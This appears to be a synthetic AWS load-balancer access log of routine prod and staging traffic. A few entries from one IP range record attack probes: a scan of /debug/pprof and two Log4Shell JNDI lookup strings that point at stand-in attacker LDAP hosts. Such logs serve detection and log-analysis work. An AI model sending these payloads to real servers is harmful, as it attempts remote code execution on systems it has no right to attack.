"GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf39-95c09d5a71ff4e5bb430922d" "staging-alb.example.com" "-" 2 2024-11-01T01:40:57.239743Z "forward" "-" "-" "78.85.20.232:8080" "301" "-" "-" +https 2024-11-01T01:40:57.893171Z prod-api-alb 217.144.119.147:54169 10.0.208.178:443 0.063483 0.391266 0.022604 302 302 508 11258 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf39-563e7924d05b49e1b785bc9e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:57.893171Z "forward" "-" "-" "10.0.208.178:443" "302" "-" "-" +https 2024-11-01T01:40:59.696660Z prod-api-alb 90.220.200.27:53306 10.0.184.74:443 0.091903 0.268299 0.091426 404 404 957 8378 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf3b-27b2436071934adc9feb6e51" "prod-api-alb.example.com" "-" 6 2024-11-01T01:40:59.696660Z "forward" "-" "-" "10.0.184.74:443" "404" "-" "-" +http 2024-11-01T01:41:01.354267Z staging-alb 194.94.206.143:64604 247.141.73.32:8080 0.138844 0.362909 0.045299 404 404 914 14755 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf3d-1f599f81cfde473e827bd6ff" "staging-alb.example.com" "-" 8 2024-11-01T01:41:01.354267Z "forward" "-" "-" "247.141.73.32:8080" "404" "-" "-" +https 2024-11-01T01:41:02.329384Z prod-web-alb 103.166.46.235:41930 10.0.193.146:443 0.013277 0.104449 0.006806 200 200 3 14315 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf3e-525d7ecd2cfd4ee1bfe58b4f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:41:02.329384Z "forward" "-" "-" "10.0.193.146:443" "200" "-" "-" +https 2024-11-01T01:41:03.914842Z prod-api-alb 109.200.146.245:22696 10.0.135.131:443 0.015521 0.056283 0.028320 200 200 251 3055 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf3f-ef54943085124b9f9980d45b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:41:03.914842Z "forward" "-" "-" "10.0.135.131:443" "200" "-" "-" +https 2024-11-01T01:41:05.174967Z prod-api-alb 214.83.190.138:19080 10.0.81.185:443 0.022765 0.447706 0.009233 302 302 972 13175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf41-c30a16ca1afd4e18b4f91f66" "-" "-" 9 2024-11-01T01:41:05.174967Z "forward" "-" "-" "10.0.81.185:443" "302" "-" "-" +https 2024-11-01T01:41:06.549969Z prod-web-alb 103.205.97.200:61480 10.0.123.2:443 0.088390 0.030318 0.015790 301 301 671 8376 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf42-382acff9cb384088988ff9ea" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:06.549969Z "forward" "-" "-" "10.0.123.2:443" "301" "-" "-" +http 2024-11-01T01:41:06.918522Z staging-alb 25.28.107.235:17390 18.112.196.149:443 0.134651 0.506815 0.008928 404 404 312 11003 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf42-c8ac8628eb2241e4ab1e57d2" "staging-alb.example.com" "-" 7 2024-11-01T01:41:06.918522Z "forward" "-" "-" "18.112.196.149:443" "404" "-" "-" +https 2024-11-01T01:41:07.250138Z prod-api-alb 59.47.4.115:37456 10.0.8.5:443 0.027694 0.315622 0.022215 200 200 272 9465 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf43-14a051a51cf34899b36283e8" "prod-api-alb.example.com" "-" 3 2024-11-01T01:41:07.250138Z "forward" "-" "-" "10.0.8.5:443" "200" "-" "-" +https 2024-11-01T01:41:07.695746Z prod-api-alb 3.24.80.88:23439 10.0.54.224:443 0.029985 0.461787 0.047771 200 200 745 12677 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf43-8f3585bcff3040ac8bbf8835" "prod-api-alb.example.com" "-" 5 2024-11-01T01:41:07.695746Z "forward" "-" "-" "10.0.54.224:443" "200" "-" "-" +https 2024-11-01T01:41:08.317848Z prod-api-alb 51.197.244.73:22277 10.0.212.31:443 0.061194 0.091065 0.043329 302 302 847 11423 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf44-5112e80e32884b66bf02534c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:41:08.317848Z "forward" "-" "-" "10.0.212.31:443" "302" "-" "-" +https 2024-11-01T01:41:08.573834Z prod-api-alb 238.12.32.13:44839 10.0.109.4:443 0.091972 0.291454 0.030898 200 200 367 9796 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf44-f68376419a1447b9bdb32537" "prod-api-alb.example.com" "-" 1 2024-11-01T01:41:08.573834Z "forward" "-" "-" "10.0.109.4:443" "200" "-" "-" +http 2024-11-01T01:41:09.109576Z staging-alb 40.19.218.164:12882 113.189.123.240:80 0.036856 0.692033 0.048675 200 200 927 10581 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf45-88f003fff48040c5bf9aadf8" "staging-alb.example.com" "-" 1 2024-11-01T01:41:09.109576Z "forward" "-" "-" "113.189.123.240:80" "200" "-" "-" +https 2024-11-01T01:41:09.830914Z prod-api-alb 229.159.238.88:41158 10.0.23.67:443 0.009514 0.056522 0.007139 404 404 423 7816 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf45-8a1d562bc48947fb81b684a5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:41:09.830914Z "forward" "-" "-" "10.0.23.67:443" "404" "-" "-" +https 2024-11-01T01:41:11.601319Z prod-web-alb 1.125.203.171:45554 10.0.234.211:443 0.060873 0.445156 0.010064 200 200 638 347 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf47-3266ea82a49e4f4a8f9b54e0" "prod-web-alb.example.com" "-" 7 2024-11-01T01:41:11.601319Z "forward" "-" "-" "10.0.234.211:443" "200" "-" "-" +https 2024-11-01T01:41:13.247492Z staging-alb 88.161.183.5:45117 12.143.133.151:8080 0.113917 0.419870 0.099954 302 302 352 4595 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf49-a5e7e32d23004e1fb7af19cd" "staging-alb.example.com" "-" 9 2024-11-01T01:41:13.247492Z "forward" "-" "-" "12.143.133.151:8080" "302" "-" "-" +https 2024-11-01T01:41:13.888876Z prod-web-alb 31.4.231.209:30386 10.0.76.66:443 0.080441 0.045838 0.073506 200 200 695 10955 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf49-965f932c3f2d46feb61f48bb" "prod-web-alb.example.com" "-" 1 2024-11-01T01:41:13.888876Z "forward" "-" "-" "10.0.76.66:443" "200" "-" "-" +https 2024-11-01T01:41:14.502622Z staging-alb 185.156.196.171:14665 187.93.155.68:443 0.058908 0.688068 0.123895 200 200 131 8803 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf4a-3286c0b18ac74e2ca230e53e" "staging-alb.example.com" "-" 9 2024-11-01T01:41:14.502622Z "forward" "-" "-" "187.93.155.68:443" "200" "-" "-" +http 2024-11-01T01:41:15.284631Z staging-alb 111.145.163.110:64004 13.28.94.181:80 0.008903 0.707329 0.029881 302 302 837 7027 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf4b-198d7c7ff3b84652b8b86d90" "-" "-" 6 2024-11-01T01:41:15.284631Z "forward" "-" "-" "13.28.94.181:80" "302" "-" "-" +http 2024-11-01T01:41:16.237638Z staging-alb 68.236.198.59:45170 44.139.244.119:8080 0.128159 0.202014 0.021204 200 200 104 3841 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf4c-58734589da434b97b93cbbb9" "staging-alb.example.com" "-" 3 2024-11-01T01:41:16.237638Z "forward" "-" "-" "44.139.244.119:8080" "200" "-" "-" +https 2024-11-01T01:41:16.630815Z staging-alb 223.144.124.153:59222 36.12.123.26:8080 0.009953 0.457881 0.081815 200 200 999 2708 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf4c-ef815472bc264202a1fe23e9" "staging-alb.example.com" "-" 8 2024-11-01T01:41:16.630815Z "forward" "-" "-" "36.12.123.26:8080" "200" "-" "-" +https 2024-11-01T01:41:17.630970Z prod-api-alb 170.183.80.30:22939 10.0.217.191:443 0.053027 0.397387 0.014096 200 200 870 4097 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf4d-bdfe4555292b411c8e0a76bc" "prod-api-alb.example.com" "-" 3 2024-11-01T01:41:17.630970Z "forward" "-" "-" "10.0.217.191:443" "200" "-" "-" +https 2024-11-01T01:41:18.373800Z prod-api-alb 174.2.8.253:53112 10.0.242.244:443 0.099109 0.081928 0.038137 200 200 866 8794 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf4e-577f2b8c810f4ba492044636" "prod-api-alb.example.com" "-" 1 2024-11-01T01:41:18.373800Z "forward" "-" "-" "10.0.242.244:443" "200" "-" "-" +https 2024-11-01T01:41:19.500871Z staging-alb 64.39.228.223:28197 215.96.202.80:8080 0.024383 0.462059 0.092592 404 404 382 8603 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf4f-d39b08d879bd4a7a9155be5d" "staging-alb.example.com" "-" 8 2024-11-01T01:41:19.500871Z "forward" "-" "-" "215.96.202.80:8080" "404" "-" "-" +https 2024-11-01T01:41:19.908603Z prod-web-alb 172.199.6.181:56048 10.0.135.60:443 0.016948 0.175960 0.038558 200 200 951 7986 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf4f-35d126e8da4948f893e685b5" "prod-web-alb.example.com" "-" 5 2024-11-01T01:41:19.908603Z "forward" "-" "-" "10.0.135.60:443" "200" "-" "-" +https 2024-11-01T01:41:20.754675Z prod-api-alb 45.155.205.9:29529 10.0.73.145:443 0.018607 0.382493 0.006390 500 500 849 3344 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf50-53443935c1e94ffc8e371f7c" "-" "-" 6 2024-11-01T01:41:20.754675Z "forward" "-" "-" "10.0.73.145:443" "500" "-" "-" +https 2024-11-01T01:41:22.207131Z prod-web-alb 138.204.16.244:15575 10.0.211.89:443 0.092789 0.417284 0.056453 200 200 412 2784 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf52-e66bdc8e998943a6b8e2ab29" "prod-web-alb.example.com" "-" 0 2024-11-01T01:41:22.207131Z "forward" "-" "-" "10.0.211.89:443" "200" "-" "-" +https 2024-11-01T01:41:23.239780Z prod-web-alb 204.205.201.251:45238 10.0.10.86:443 0.011607 0.440746 0.068945 301 301 774 8155 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf53-11253eeaaa3147d5b7881597" "prod-web-alb.example.com" "-" 3 2024-11-01T01:41:23.239780Z "forward" "-" "-" "10.0.10.86:443" "301" "-" "-" +http 2024-11-01T01:41:24.875797Z staging-alb 205.118.180.58:51996 72.87.155.165:443 0.143037 0.062960 0.066727 404 404 877 11084 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf54-dff086bf1b1d4a4baad30ba1" "staging-alb.example.com" "-" 10 2024-11-01T01:41:24.875797Z "forward" "-" "-" "72.87.155.165:443" "404" "-" "-" +http 2024-11-01T01:41:25.129304Z staging-alb 198.80.70.120:32309 75.142.68.60:8080 0.110990 0.281944 0.034771 200 200 927 6758 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf55-9ff2343c7a0c47bcab7681d9" "staging-alb.example.com" "-" 1 2024-11-01T01:41:25.129304Z "forward" "-" "-" "75.142.68.60:8080" "200" "-" "-" +https 2024-11-01T01:41:26.489195Z prod-api-alb 56.164.167.63:25514 10.0.7.171:443 0.063070 0.370772 0.029370 200 200 562 11758 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf56-7db5951961604220a81bdf48" "prod-api-alb.example.com" "-" 2 2024-11-01T01:41:26.489195Z "forward" "-" "-" "10.0.7.171:443" "200" "-" "-" +http 2024-11-01T01:41:26.794114Z staging-alb 89.231.44.51:52184 221.87.253.112:8080 0.028636 0.244278 0.089630 200 200 547 12609 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf56-9ee6440dc1f74f54898a8cce" "staging-alb.example.com" "-" 7 2024-11-01T01:41:26.794114Z "forward" "-" "-" "221.87.253.112:8080" "200" "-" "-" +https 2024-11-01T01:41:27.621447Z prod-api-alb 185.165.224.21:52806 10.0.238.33:443 0.065657 0.254998 0.018724 301 301 629 6567 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf57-973f50a8edb64591b48a9051" "prod-api-alb.example.com" "-" 0 2024-11-01T01:41:27.621447Z "forward" "-" "-" "10.0.238.33:443" "301" "-" "-" +https 2024-11-01T01:41:28.320640Z prod-web-alb 119.68.84.166:13822 10.0.208.77:443 0.027324 0.305702 0.026098 200 200 675 2112 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf58-136b9b3e0fbc4bbea854eda0" "prod-web-alb.example.com" "-" 6 2024-11-01T01:41:28.320640Z "forward" "-" "-" "10.0.208.77:443" "200" "-" "-" +https 2024-11-01T01:41:29.024839Z staging-alb 18.163.45.174:61410 52.100.162.252:80 0.145925 0.552407 0.078720 404 404 557 11027 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf59-31ee0d8a1f96420591a5f689" "staging-alb.example.com" "-" 7 2024-11-01T01:41:29.024839Z "forward" "-" "-" "52.100.162.252:80" "404" "-" "-" +https 2024-11-01T01:41:29.472806Z prod-api-alb 168.72.84.45:28440 10.0.132.61:443 0.082333 0.196464 0.059071 200 200 616 7820 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf59-b55ecde133fd419b9f93036d" "prod-api-alb.example.com" "-" 5 2024-11-01T01:41:29.472806Z "forward" "-" "-" "10.0.132.61:443" "200" "-" "-" +https 2024-11-01T01:41:30.962285Z prod-web-alb 13.179.227.203:44576 10.0.186.232:443 0.044635 0.240798 0.019385 200 200 14 12910 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf5a-31e6a51a95b04632bf5ec77c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:41:30.962285Z "forward" "-" "-" "10.0.186.232:443" "200" "-" "-" +https 2024-11-01T01:41:31.809991Z prod-web-alb 45.155.205.225:26964 10.0.84.147:443 0.088175 0.374061 0.001353 500 500 423 12841 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf5b-5e707ef049394cfaad6db15d" "-" "-" 3 2024-11-01T01:41:31.809991Z "forward" "-" "-" "10.0.84.147:443" "500" "-" "-" +https 2024-11-01T01:41:32.718214Z staging-alb 109.49.105.178:32109 146.101.175.30:8080 0.124131 0.204914 0.042392 200 200 725 11400 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf5c-c5b2e7cad7cb4ce382501650" "staging-alb.example.com" "-" 10 2024-11-01T01:41:32.718214Z "forward" "-" "-" "146.101.175.30:8080" "200" "-" "-" +https 2024-11-01T01:41:34.478648Z staging-alb 50.51.115.171:31943 13.146.139.204:443 0.130126 0.252874 0.032226 200 200 587 10900 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf5e-d6db01f5cf5c4ed6999130a6" "staging-alb.example.com" "-" 10 2024-11-01T01:41:34.478648Z "forward" "-" "-" "13.146.139.204:443" "200" "-" "-" +https 2024-11-01T01:41:36.093504Z prod-api-alb 209.81.41.244:41718 10.0.86.195:443 0.033762 0.268533 0.008658 200 200 479 3529 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf60-1686663e4394496ba9549ec2" "prod-api-alb.example.com" "-" 8 2024-11-01T01:41:36.093504Z "forward" "-" "-" "10.0.86.195:443" "200" "-" "-" +https 2024-11-01T01:41:37.497613Z prod-web-alb 184.211.37.160:10453 10.0.8.225:443 0.077257 0.165793 0.092141 200 200 557 1434 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf61-99220b64aa1645f491fc5f5f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:41:37.497613Z "forward" "-" "-" "10.0.8.225:443" "200" "-" "-" +http 2024-11-01T01:41:37.837877Z staging-alb 222.69.113.24:29344 209.8.211.157:8080 0.035607 0.617959 0.093047 302 302 523 13813 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf61-e8f6e352f07748e49283ffe4" "staging-alb.example.com" "-" 7 2024-11-01T01:41:37.837877Z "forward" "-" "-" "209.8.211.157:8080" "302" "-" "-" +https 2024-11-01T01:41:38.407185Z prod-web-alb 118.228.3.4:49599 10.0.113.79:443 0.003254 0.261338 0.016178 200 200 559 14332 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf62-00341ca214cf4e09adb5a68c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:41:38.407185Z "forward" "-" "-" "10.0.113.79:443" "200" "-" "-" +https 2024-11-01T01:41:39.811479Z prod-web-alb 128.211.166.9:44855 10.0.229.133:443 0.010656 0.096778 0.034097 200 200 840 5060 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf63-8550a55ff0b5483e97a6207d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:41:39.811479Z "forward" "-" "-" "10.0.229.133:443" "200" "-" "-" +https 2024-11-01T01:41:41.281450Z prod-web-alb 39.84.16.121:22529 10.0.126.30:443 0.014493 0.354384 0.050639 302 302 912 7137 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf65-2ca853005657447bad9a21fd" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:41.281450Z "forward" "-" "-" "10.0.126.30:443" "302" "-" "-" +https 2024-11-01T01:41:42.461519Z prod-web-alb 45.155.205.109:23120 10.0.15.50:443 0.035451 0.262887 0.071227 404 404 352 13655 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf66-ebfe43d307aa472a8ecc7816" "-" "-" 8 2024-11-01T01:41:42.461519Z "forward" "-" "-" "10.0.15.50:443" "404" "-" "-" +https 2024-11-01T01:41:43.258560Z prod-web-alb 166.157.104.74:20350 10.0.12.124:443 0.096553 0.176410 0.051850 302 302 530 4493 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf67-15b9eef22cc74edd8f15283e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:41:43.258560Z "forward" "-" "-" "10.0.12.124:443" "302" "-" "-" +https 2024-11-01T01:41:44.545799Z prod-api-alb 175.238.151.5:38559 10.0.86.78:443 0.055073 0.271795 0.064050 404 404 483 3388 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 